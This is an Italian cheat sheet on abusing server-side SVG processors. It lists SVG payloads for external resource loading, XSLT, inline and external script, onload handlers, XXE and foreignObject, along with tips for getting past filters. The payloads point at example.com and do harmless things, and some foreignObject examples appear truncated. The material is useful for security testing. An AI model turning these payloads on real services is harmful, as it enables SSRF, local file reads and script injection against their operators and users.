
Un cheat sheet per sfruttare i processori SVG lato server.
Gli host che elaborano SVG possono potenzialmente essere vulnerabili a SSRF, LFI, XSS, RCE a causa del ricco set di funzionalità di SVG.
Tutti questi metodi specificano un URI, che può essere assoluto o relativo. I protocolli file e HTTP sono importanti da testare, ma potrebbe supportare anche altri protocolli a seconda dell'implementazione (ad es. gli schemi stream di PHP), inclusi javascript: e data:.
Questo documento contiene un elenco di tutti i modi che conosco per abusare di questa funzionalità in SVG.
Nota che alcuni servizi che dichiarano di non accettare SVG come formato di input in realtà lo accettano con un po' di persuasione.
file standard non include alcun magic number per SVG, quindi probabilmente dipende dalle singole implementazioni.SVG può includere immagini esterne direttamente tramite il tag <image>.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
Nota che puoi usarlo per includere anche altre immagini SVG.
<use>SVG può includere contenuto SVG esterno tramite il tag <use>.
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>SVG può includere fogli di stile esterni tramite il tag <link>, proprio come l'HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?><?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
Gli SVG possono includere fogli di stile XSLT tramite <?xml-stylesheet?>. Sorprendentemente, questo sembra funzionare in Chrome.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
Nota: a causa della natura di XSLT, l'input non deve necessariamente essere un file SVG valido se l'xml-stylesheet viene ignorato, ma è utile per bypassare i filtri.
Inoltre, poiché non ho alcun interesse nell'imparare XSLT, questo template sostituisce in blocco l'intera immagine "vecchia" con quella nuova.
SVG può includere nativamente JavaScript inline, proprio come HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG può anche includere script esterni.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG può anche avere gestori di eventi inline che vengono eseguiti onload.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
Puoi anche associare gestori ad animazioni e ad altri eventi. Leggi la specifica SVG.
Poiché SVG è XML, può avere anche XXE:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject>Il tag <foreignObject> è pazzesco. Può essere usato per includere (X)HTML arbitrario in un SVG.
Ad esempio, per includere un iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
Se non hai accesso alla rete (ad es. sandbox) puoi inserire un data URI o un URI javascript come destinazione dell'iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
Se non hai ancora avuto abbastanza SVG, puoi includere altri SVG tramite i tag <object> o <embed>. Penso che probabilmente sia teoricamente possibile inserire anche Flash lì dentro.
Nota anche che, poiché ti trovi in un namespace XML diverso, qualsiasi cosa che rimuoveva solo svg:script potrebbe non aver rimosso html:script (o simile per gli attributi).
È possibile includere font esterni, se mai volessi farlo, penso sia tramite CSS che tramite attributi nativi. Non è comunque molto utile perché i webfont richiedono CORS per qualche motivo che non capisco davvero, legato al DRM per le risorse font per prevenire l'hotlinking. Immagino però che a volte ci siano vulnerabilità nei motori dei font.